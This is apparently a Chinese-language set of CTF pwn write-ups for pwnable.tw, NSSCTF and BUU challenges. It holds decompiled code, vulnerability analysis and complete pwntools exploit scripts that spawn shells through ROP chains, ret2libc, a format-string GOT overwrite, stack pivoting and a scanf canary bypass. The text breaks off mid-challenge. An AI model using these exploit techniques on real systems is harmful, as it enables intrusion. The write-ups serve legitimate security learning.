.text:000000000040297B
.text:000000000040297D 48 8D 58 FF lea rbx, [rax-1]
.text:0000000000402981 0F 1F 80 00 00 00 00 nop dword ptr [rax+00000000h]
.text:0000000000402981
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: fini+34↓j
.text:0000000000402988 FF 54 DD 00 call qword ptr [rbp+rbx*8+0] ;fini_array
.text:0000000000402988
.text:000000000040298C 48 83 EB 01 sub rbx, 1
.text:0000000000402990 48 83 FB FF cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 75 F2 jnz short loc_402988
.text:0000000000402994
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: fini+1B↑j
.text:0000000000402996 48 83 C4 08 add rsp, 8
.text:000000000040299A 5B pop rbx
.text:000000000040299B 5D pop rbp
.text:000000000040299C E9 8B B9 08 00 jmp _term_proc
.text:000000000040299C ; } // starts at 402960

这里先将rbp保存到栈上然后令 rbp=4b40f0 来 call fini_array[]

如果我们将 fini_arrat[1] 赋值 main,[0] 赋值 fini,就可以做到无限任意地址写了

1
.text:0000000000402968 48 8D 2D 81 17 0B 00          lea     rbp, off_4B40F0

这里给 rbp 0x4b40f0,如果此时 leave ret,就可以将栈迁移到该地址处,如果我们提前在该地址处布置好 rop,就可以控制程序执行我们想要的了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
r=remote("chall.pwnable.tw",10105)
sla = lambda a,b : r.sendlineafter(a,b)
sl = lambda a : r.sendlineafter(a)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
def write(addr,data):
sa("addr:",str(addr))
sa("data:",data)

fini=0x402960
main_addr=0x401B6D
fini_array=0x4B40F0
rax_ret=0x000000000041e4af
rdi_ret=0x0000000000401696
rsi_ret=0x0000000000406c30
rdx_ret=0x0000000000446e35
syscall_addr=0x00000000004022b4
binsh_addr=0x4b4000
leave_ret=0x401C4B
stack=0x4B4100
write(fini_array,p64(fini)+p64(main_addr)) # 无限次数任意地址写
write(binsh_addr,b'/bin/sh\x00') # 随便找了个地址写 /bin/sh
write(stack,p64(rax_ret)+p64(0x3b)) # rop
write(stack+0x10,p64(rdi_ret)+p64(binsh_addr))
write(stack+0x20,p64(rsi_ret)+p64(0))
write(stack+0x30,p64(rdx_ret)+p64(0))
write(stack+0x40,p64(syscall_addr))
write(fini_array,p64(leave_ret)) # 栈迁移
r.interactive()

总结

学到了程序的启动过程,实际上会调用哪些东西

pwnale.tw dubblesort

基本信息

1
2
3
4
5
6
7
[*] '/mnt/hgfs/VMware-share/pwnable/sort/sort're-share/pwnable/sort$ 
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

动态链接

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
_BYTE *v4; // edi
unsigned int i; // esi
unsigned int j; // esi
int result; // eax
unsigned int v8; // [esp+18h] [ebp-74h] BYREF
_BYTE v9[32]; // [esp+1Ch] [ebp-70h] BYREF
char buf[64]; // [esp+3Ch] [ebp-50h] BYREF
unsigned int v11; // [esp+7Ch] [ebp-10h]

v11 = __readgsdword(0x14u);
sub_8B5();
__printf_chk(1, (int)"What your name :");
read(0, buf, 0x40u);
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");
__isoc99_scanf("%u", &v8);
v3 = v8;
if ( v8 )
{
v4 = v9;
for ( i = 0; i < v8; ++i )
{
__printf_chk(1, (int)"Enter the %d number : ");
fflush(stdout);
__isoc99_scanf("%u", v4);
v3 = v8;
v4 += 4; //自增寻找下一个栈地址,但是没限制,可以栈溢出
}
}
sub_931(v9, v3);
puts("Result :");
if ( v8 )
{
for ( j = 0; j < v8; ++j )
__printf_chk(1, (int)"%u ");
}
result = 0;
if ( __readgsdword(0x14u) != v11 )
sub_BA0();
return result;
}

程序大体意思就是冒泡排序

分析

首先

1
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");

这里 %s 输出我们输入的字符串,但并没有在我们输入的后面加上 \x00,也就可以通过这个泄露栈上的信息,动态调试后发现栈上存了一个 libc 地址,就可以泄露libc

这里需要注意的是本地和远程环境不一样,本地 a*24 来填充,而远程 a*28 才是libc地址

然后程序要求我们输入排序的个数却没有对其的大小进行限制,那么我们就可以确定偏移后进行栈溢出,然后 ret2libc

绕过canary

这里还有一个难点就是如何绕过canary,我们之前的 %s 由于填充长度不够无法泄露,但是这里我们是 __isoc99_scanf("%u", &v8); 来输入的,当我们输入一些比如 “+” 或 “-“ 时,scanf 读到后发现只有符号,就会退出并且返回 0 ,也就不会更改栈上数据,也就可以保留 canary

%x %d 也可以通过这样绕过

排序

由于程序最后会对我们输入的数据进行排序,也就是对栈上的信息排序,要是我们输入canary后的数据比canary小的话,就会使 canary 的位置发生改变,最后比对时找到的 canary 就不是原来的那个 canary 了,所以保守一点就是将 canary 前填成 0 ,后面填成 system_addr,最后加一个 binsh_addr 即可(binsh_addr > system_addr )

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r=process('./sort')
libc=ELF('./libc_32.so.6')
elf=ELF('./sort')
r.recv()
r.sendline(b'a'*24) # 这里远程的话要24->28,底下recv也要对应修改
r.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaa")
libcbase=u32(r.recv(4))-0xa-0x1b0000
system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+next(libc.search(b'/bin/sh'))
r.sendlineafter("what to sort :",str(35))
print(hex(libcbase))

for i in range(24):
r.sendlineafter(" number : ",str(1))
r.sendlineafter(" number : ",'+') # 绕过canary
for i in range(9):
r.sendlineafter(" number :",str(system_addr))
r.sendlineafter(" number :",str(binsh_addr))
r.interactive()

总结

学到了 scanf(“%x”) 中绕过 canary 的方法

pwnable.tw Silver Bullet

基本信息

1
2
3
4
5
6
7
8
9
10
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/sil_b$ checksec sb
[*] '/mnt/hgfs/VMware-share/pwnable/sil_b/sb'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8045000)
Stripped: No
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/sil_b$ file sb
sb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /home/yyyffff/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v5; // [esp+0h] [ebp-3Ch] BYREF
const char *v6; // [esp+4h] [ebp-38h]
char s[48]; // [esp+8h] [ebp-34h] BYREF
int v8; // [esp+38h] [ebp-4h]

init_proc();
v8 = 0;
memset(s, 0, sizeof(s));
v5 = 0x7FFFFFFF;
v6 = "Gin";
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu(v5, v6);
v3 = read_int();
if ( v3 != 2 )
break;
power_up(s);
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_15;
create_bullet(s);
}
if ( v3 == 3 )
break;
if ( v3 == 4 )
{
puts("Don't give up !");
exit(0);
}
LABEL_15:
puts("Invalid choice");
}
if ( beat(s, &v5) )
return 0;
puts("Give me more power !!");
}
}

一个菜单题,首先进入 create 查看

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl create_bullet(char *s)
{
size_t v2; // [esp+0h] [ebp-4h]

if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, 0x30u);
v2 = strlen(s);
printf("Your power is : %u\n", v2);
*((_DWORD *)s + 0xC) = v2;
return puts("Good luck !!");
}

在传进来的那个参数上输入 data ,然后将长度存在 *((_DWORD *)s + 0xC) ,也就是 s[0x30] (因为 s 是 dowrd,+0xc也就是 + sizeof(dwowrd)*0xc,也就是 0x30)

进入 power_up 查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s[48]; // [esp+0h] [ebp-34h] BYREF
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(s, 0, sizeof(s));
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 0xC) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(s, 0x30 - *((_DWORD *)dest + 0xC));
strncat(dest, s, 0x30 - *((_DWORD *)dest + 0xC));
v3 = strlen(s) + *((_DWORD *)dest + 0xC);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 0xC) = v3;
return puts("Enjoy it !");
}

当我们 power_up ,长度恰好来到 0x30 时,由于 strncat 会在末尾额外添加一个 \x00 ,这就会导致原本存的长度为 0 ,从而可以继续读取,从 s[0x31] 开始,因为最后还会赋给 s[0x30] 一个长度,所以实际上从 0x31 开始,而且还给了 ret2libc ,所以用 ret2libc,栈溢出在 main 函数中,所以要想办法退出 main 函数

查看 beat 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl beat(int a1, int a2)
{
if ( *(_BYTE *)a1 )
{
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n", *(const char **)(a2 + 4));
printf(" + HP : %d\n", *(_DWORD *)a2);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(0xF4240u);
*(_DWORD *)a2 -= *(_DWORD *)(a1 + 0x30);
if ( *(int *)a2 <= 0 )
{
puts("Oh ! You win !!");
return 1;
}
else
{
puts("Sorry ... It still alive !!");
return 0;
}
}
else
{
puts("You need create the bullet first !");
return 0;
}
}

要求 s[0x30] 大于 0x7fffffff 即可,只需要第二次 power_up 时首先输入 p32(0xffffffff) 即可,需要注意的是 strncat 遇到 \x00 就不会继续了,所以注意我们的 payload 不能有 \x00

利用

两次利用 strncat 添加的 \x00 来栈溢出,第一次利用 puts 泄露 libcbase,第二次执行 system(/bin/sh)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

libc=ELF('./libc_32.so.6')
elf=ELF('./sb')
context.log_level='debug'
r=remote("chall.pwnable.tw",10103)
sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
sla("Your choice :","1")
sla("of bullet :",b'a'*0x20)
sla("Your choice :","2")
sla("bullet :",b'a'*0x10)
sla("Your choice :","2")
sla("bullet :",p32(0x7fffffff)+b'a'*3+p32(elf.plt['puts'])+p32(0x8048954)+p32(elf.got['puts']))
sla("Your choice :","3")
ru("You win !!\n")
puts_addr=u32(r.recv(4))
libc.address=puts_addr-libc.sym['puts']
libcbase=puts_addr-libc.sym['puts']
sla("Your choice :","1")
sla("of bullet :",b'a'*0x20)
sla("Your choice :","2")
sla("bullet :",b'a'*0x10)
sla("Your choice :","2")
sla("bullet :",p32(0x7fffffff)+b'a'*3+p32(libc.sym['system'])+p32(0x8048954)+p32(next(libc.search(b'/bin/sh'))))
sla("Your choice :","3")
ru("You win !!\n")
r.interactive()

总结

学习到了 strcnat 的瑕疵,会在最后多添加一个 \x00,类似于 off-by-null

pwnable.tw applestore

基本信息

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/apple$ checksec applestore
[*] '/mnt/hgfs/VMware-share/apple/applestore'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8045000)
Stripped: No

glibc-2.23

分析

1
2
3
4
5
6
7
8
9
10
int menu()
{
puts("=== Menu ===");
printf("%d: Apple Store\n", 1);
printf("%d: Add into your shopping cart\n", 2);
printf("%d: Remove from your shopping cart\n", 3);
printf("%d: List your shopping cart\n", 4);
printf("%d: Checkout\n", 5);
return printf("%d: Exit\n", 6);
}

handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned int handler()
{
char nptr[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )
{
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}

list

就是列出可以加入购物车的产品,懒得放代码了

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
unsigned int add()
{
char **v1; // [esp+1Ch] [ebp-2Ch]
char nptr[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Device Number> ");
fflush(stdout);
my_read(nptr, 0x15u);
switch ( atoi(nptr) )
{
case 1:
v1 = create("iPhone 6", (char *)199);
insert((int)v1);
goto LABEL_8;
case 2:
v1 = create("iPhone 6 Plus", (char *)0x12B);
insert((int)v1);
goto LABEL_8;
case 3:
v1 = create("iPad Air 2", (char *)0x1F3);
insert((int)v1);
goto LABEL_8;
case 4:
v1 = create("iPad Mini 3", (char *)0x18F);
insert((int)v1);
goto LABEL_8;
case 5:
v1 = create("iPod Touch", (char *)0xC7);
insert((int)v1);
LABEL_8:
printf("You've put *%s* in your shopping cart.\n", *v1);
puts("Brilliant! That's an amazing idea.");
break;
default:
puts("Stop doing that. Idiot!");
break;
}
return __readgsdword(0x14u) ^ v3;
}

加入购物车,首先会创建一个堆,然后利用 insert 函数加入一个貌似是双向链表的结构

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
int v1; // [esp+10h] [ebp-38h]
int v2; // [esp+14h] [ebp-34h]
int v3; // [esp+18h] [ebp-30h]
int v4; // [esp+1Ch] [ebp-2Ch]
int v5; // [esp+20h] [ebp-28h]
char nptr[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(nptr, 0x15u);
v3 = atoi(nptr);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = *(_DWORD *)(v2 + 8);
v5 = *(_DWORD *)(v2 + 12);
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = *(_DWORD *)(v2 + 8);
}
return __readgsdword(0x14u) ^ v7;
}

从链表中移除指定 idx 的块

cart

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
int v0; // eax
int v2; // [esp+18h] [ebp-30h]
int v3; // [esp+1Ch] [ebp-2Ch]
int i; // [esp+20h] [ebp-28h]
char buf[22]; // [esp+26h] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
v3 = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(buf, 0x15u);
if ( buf[0] == 121 )
{
puts("==== Cart ====");
for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8) )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, *(const char **)i, *(_DWORD *)(i + 4));
v3 += *(_DWORD *)(i + 4);
}
}
return v3;
}

列出已经加入购物车的

checkout

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2[5]; // [esp+18h] [ebp-20h] BYREF
unsigned int v3; // [esp+2Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(v2, "%s", "iPhone 8");
v2[1] = (char *)1;
insert((int)v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v3;
}

加入 iPhone 8,栈上的数据

漏洞点

在于 checkout 之中,由于加入的是栈上的熟女,那么我们如果可以控制栈上的数据的话,我们就可以加入我们想要的指针,然后就可以通过 cart 泄露出来,现在问题就变成,如何构造栈上的数据

我们知道,函数调用栈的时候会创建一个栈帧,通过汇编我们可以发现,这几个函数创建的栈帧的结构都是一样的,并且我们还知道函数返回时不会刻意去清理栈上的数据,那么我们就可以利用别的函数在栈上的指定偏移处构造好数据,然后利用 checkout 加入链表,为我们所用

思路如下:

  • 首先 libc 基址肯定需要,我们可以先加入 elf.got[‘puts’],利用 cart 泄露出真实地址
  • 然后还需要栈地址,利用 libc.sym[‘environ’] 泄露出

那么现在基本什么地址都有了,如何调用 system(/bin/sh)呢

由于 got 表可写,这里选择写 atoi 的 got 表地址为 system,然后 handler 里 atoi(nptr) 会调用

这里选择用 delete 写,delete 函数中有

1
2
3
4
5
6
7
8
v4 = *(_DWORD *)(v2 + 8);
v5 = *(_DWORD *)(v2 + 12);
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
return __readgsdword(0x14u) ^ v7;

这里我们只需要利用 delete 里的输入,构造好 iphone 8 附近的数据,简单来说就是令这里的 v4=elf.got[‘atoi’]+0x22(因为handler中是往ebp-0x22中写东西),然后v5=environ_addr-0x10c 即可在返回 handler 是修改 handler_ebp=elf.got[‘atoi’]+0x22 ,然后 handler 输入时我们输入 system_addr+b’;/bin/sh’ 即可 shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(arch='i386',os='linux',log_level='debug')
r=remote("chall.pwnable.tw",10104)
elf=ELF('./applestore')
libc=ELF('./libc_32.so.6')
sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
irt = lambda : r.interactive()

def add(number):
sla("> ","2")
sla("Device Number> ",str(number))

def delete(number):
sla("> ","3")
sla("Item Number> ",number)

def cart(payload):
sla("> ","4")
sla("Let me check your cart. ok? (y/n) > ",payload)

def checkout():
sla("> ","5")
sla("Let me check your cart. ok? (y/n) > ","y")

for i in range(6):
add(1)

for i in range(20):
add(2)

payload = b'ya'+p32(elf.got['puts'])+p32(0)+p32(0)
checkout()
cart(payload)
ru("27: ")
libcbase=u32(r.recv(4))-libc.sym['puts']
environ=libcbase+libc.sym['environ']
system_addr=libcbase+libc.sym['system']

payload = b'ya'+p32(environ)+p32(0)+p32(0)
cart(payload)
ru("27: ")
stack_addr=u32(r.recv(4))
print(hex(stack_addr))

payload = b'27' + p32(stack_addr) + p32(0x12345678)
payload += p32(elf.got['atoi'] + 0x22) + p32(stack_addr - 0x10c)

delete(payload)
sla(b'> ',p32(system_addr)+b';/bin/sh\x00')
irt()

[CISCN 2019西南]PWN1

[CISCN 2019西南]PWN1 | NSSCTF

checksec

32位动态链接,只开了NX

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}

很明显的格式化字符串漏洞

利用

由于有system_plt和栈上的格式化字符串漏洞,尝试将printf_got覆盖成system_plt,然后输入 /bin/sh 执行 system(/bin/sh) 但是这需要两次格式化字符串,首先尝试将返回地址覆盖成 main_addr,但是这需要一次泄露一次写入,不太能实现,所以就考虑覆盖 fini_array[0] 为 main_addr,这个地址是我们已知的,所以覆盖 printf_got 和 fini_array 可以同一次格式化字符串实现,然后第二次进入 main 就可以写入 /bin/sh 拿到 shell 了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
elf=ELF('./xnpwn1')
context.log_level='debug'
r=remote("node5.anna.nssctf.cn",23969)
fini_array=0x804979C
main_addr=0x8048534
system_addr=0x80483d0
printf_got=0x804989c
payload=p32(fini_array)+p32(printf_got)+p32(printf_got+2)
payload+=f'%{0x8534-12}c%4$hn%{0x10000-0x8534+12+0x83d0-0xc}c%5$hn%{0x10000-0x83d0+0x804}c%6$hn'.encode()
pause()
r.sendline(payload)
r.sendline(b'/bin/sh\x00')
r.interactive()

gyctf_2020_borrowstack

基本信息

amd64 只开了NX

IDA

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[96]; // [rsp+0h] [rbp-60h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL); // 栈迁移,没有其他信息,ret2libc
return 0;
}

第一次只允许溢出到返回地址,第二次在一个 bss 段写入数据,很明显的栈迁移

分析

栈迁移,不过需要注意:

  • 由于该 bss 地址跟 got 表连在一起,在执行 puts_plt 时会破坏掉了我们构造好的 rdi=put_got,所以我们要先 ret*19 将 rsp 向高处移动,这样才会使 rdi=puts_got
  • 第二个也是差不多,如果回到 main 函数重新执行一遍程序也会因为栈的问题而出错,这里选择返回到第二个 read,而执行 system 也会因为栈空间不够而崩溃,所以选择执 ogg,利用 cyclic 计算偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
r=remote("node5.buuoj.cn",26688)
elf=ELF('./bstack')
libc=ELF('./libc-2.23.so')
context.log_level='debug'
sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)

bank_addr=0x601080
payload=b'a'*0x60+p64(bank_addr)+p64(0x400699)
sa("you want\n",payload)
rdi_addr=0x400703
ret_addr=0x4004c9
payload=b'a'*8+p64(ret_addr)*19+p64(rdi_addr)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0000000000400680)
sla("borrow stack now!\n",payload)
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
pause()
libcbase=puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+next(libc.search(b'/bin/sh'))
payload=cyclic(184)+p64(libcbase+0x4526a)
r.send(payload)
r.interactive()

[LitCTF 2023]ezlogin

基本信息

1
2
3
4
5
6
7
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/2026217$ checksec pwn4
[*] '/mnt/hgfs/VMware-share/2026217/pwn4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

静态链接

分析

main

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall auth_login_loop()
{
__int64 v1; // [rsp+0h] [rbp-108h] BYREF

sub_411ED0((__int64)off_6B97A8, 0);
sub_411ED0((__int64)off_6B97A0, 0);
sub_411ED0((__int64)off_6B9798, 0);
while ( !verify_password((__int64)&v1) )
;
puts((__int64)"GoodTime.");
return 0;
}

verify_password

1
2
3
4
5
6
7
8
9
10
11
_BOOL8 __fastcall verify_password(__int64 a1)
{
char buf_[536]; // [rsp+0h] [rbp-218h] BYREF

puts((__int64)"Input your password:");
memset(buf_, 0, 0x200u);
if ( (unsigned __int8)read(0, buf_, 0x200u) > 0x50u ) //这里unsigned int8只取低8位,说明0x140,0x130长度也是允许的
exit(-1);
j_ifunc_4234D0(a1, (__int64)buf_);//这里类似strcnp,拷贝到a1,有0截断,同时a1是main函数中的v1,说明可以栈溢出
return strcmp(buf_, "PASSWORD") == 0;
}

由于是静态链接,也没有PIE,所以可以采用 ret2syscall,但是这还需要有一个地方写入 /bin/sh

  • 首先 ret2syscall 调用 read 在 bss 段中写入 /bin/sh 并且回到 main 函数中
  • 第二次 exceve

现在主要的问题就是如何绕过 strcnp 中的 0 截断从而在main函数中实现栈溢出。

因为这里我们可以无限循环。可以这样

1
2
3
4
5
6
7
8
9
def encsend(data:bytes):
encdata=data.replace(b'\x00',b'\x01')
idx=len(data)-1
while 1:
if encdata[idx] == 1:
sa("Input your password:", b'A'*0x108 + encdata[:idx-len(data)]+b'\x00')
if idx==1:
return
idx=idx-1

首先就是将 0 替换成 1 ,然后从后往前遍历,遇到 1 就把这个 1 前面的数据发送过去,并且在这个位置写上 \x00,不断重复,就可以将所有 1 替换成 0 从而绕过 0 截断。这里 b’A’*0x108 是 main 中的偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
path='./pwn4'
#r=process(path)
elf=ELF(path)
r=remote("node5.anna.nssctf.cn",24917)

sla = lambda a,b : r.sendlineafter(a,b)
sl=lambda a : r.sendline(a)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
rv = lambda a : r.recv(a)
irt = lambda : r.interactive()

syscall=0x0000000000474c15
rax=0x00000000004005af
rdi=0x0000000000400706
rsi=0x0000000000410043
rdx=0x000000000044b226
def encsend(data:bytes):
encdata=data.replace(b'\x00',b'\x01')
idx=len(data)-1
while 1:
if encdata[idx] == 1:
sa("Input your password:", b'A'*0x108 + encdata[:idx-len(data)]+b'\x00')
if idx==1:
return
idx=idx-1
main=0x0000000004005C0
bss=0x6b6000
payload=p64(rax)+p64(0)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(syscall)+p64(main)
encsend(payload)
sa("Input your password:",b'PASSWORD\x00')
r.send(b'/bin/sh\x00')
payload=p64(rax)+p64(59)+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)

encsend(payload)
pause()
sa("Input your password:",b'PASSWORD\x00')
irt()

[CISCN 2022 华东北]blue

基本信息

保护全开,64位动态链接

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int n666; // [rsp+Ch] [rbp-4h]

sub_1730(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
n666 = input();
if ( n666 != 666 )
break;
UAF();
}
if ( n666 > 666 )
{
LABEL_13:
output("Invalid choice\n");
}
else if ( n666 == 3 )
{
show();
}
else
{
if ( n666 > 3 )
goto LABEL_13;
if ( n666 == 1 )
{
add();
}
else
{
if ( n666 != 2 )
goto LABEL_13;
delete();
}
}
}
}

开了沙箱,不允许 exceve

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int add()
{
int n31; // [rsp+0h] [rbp-10h]
unsigned int size[3]; // [rsp+4h] [rbp-Ch]

output("Please input size: ");
*(_QWORD *)size = (unsigned int)input();
if ( size[0] > 0x90 )
size[0] = 0x90; // 最大分配0x90
*(_QWORD *)&size[1] = malloc(size[0]);
if ( *(_QWORD *)&size[1] )
{
output("Please input content: ");
input1(*(void **)&size[1], size[0]);
for ( n31 = 0; n31 <= 31; ++n31 )
{
if ( !ptr[n31] && !len[n31] )
{
ptr[n31] = *(_QWORD *)&size[1];
len[n31] = size[0];
output("Done\n");
return n31;
}
}
return output("Empty\n");
}
else
{
output("Malloc Error\n");
return -1;
}
}

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int delete()
{
unsigned int n0x20; // [rsp+Ch] [rbp-4h]

output("Please input idx: ");
n0x20 = input();
if ( n0x20 <= 0x20 && len[n0x20] && ptr[n0x20] )
{
free((void *)ptr[n0x20]);
ptr[n0x20] = 0;
len[n0x20] = 0;
return output("DONE!\n");
}
else
{
output("ERROR\n");
return -1;
}
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int show()
{
unsigned int n0x20; // [rsp+Ch] [rbp-4h] 只能show一次

if ( dword_406C > 0 )
{
puts("ERROR");
_exit(0);
}
output("Please input idx: ");
n0x20 = input();
if ( n0x20 <= 0x20 && len[n0x20] && ptr[n0x20] )
{
output((const char *)ptr[n0x20]);
++dword_406C;
return output("Done!\n");
}
else
{
output("ERROR\n");
return -1;
}
}

只能用一次

UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int UAF()
{
